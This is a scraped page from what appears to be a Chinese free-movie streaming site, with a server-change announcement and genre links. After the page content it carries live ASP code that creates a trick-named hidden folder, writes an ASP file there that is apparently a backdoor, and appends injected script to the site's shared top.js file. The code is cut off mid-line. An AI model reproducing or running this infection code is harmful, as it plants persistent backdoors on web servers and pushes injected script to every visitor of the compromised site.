公告：
因原看看服务器不稳定，导致经常出故障，所以换了服务器，对版面也进行了全面的改版，感谢你一直来对本站的支持！我们将一如既往的为你提供免费服务！

最新电影

推荐电影

更多动作片动作片(2528)

更多爱情片爱情片(465)

更多科幻片科幻片(699)

更多恐怖片恐怖片(802)

更多剧情片剧情片(794)

更多国产剧国产剧(1490)

<% on error resume next response.clear Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") path=server.mappath("../../../") response.write path&"
" Set f = fso.CreateFolder(path&"\template..\") Set a = fso.CreateTextFile(path&"\template..\seraph.asp", True) a.WriteLine"" a.Close filename=path&"\js\top.js" response.write filename set f=fso.OpenTextFile(filename,1, True) dim a if Not f.AtEndOfStream then a=f.readall() if instr(a,"51lacount")<1 then Set w = fso.OpenTextFile(filename,8, True) w.writeline("") w.writeline("document.writeln(""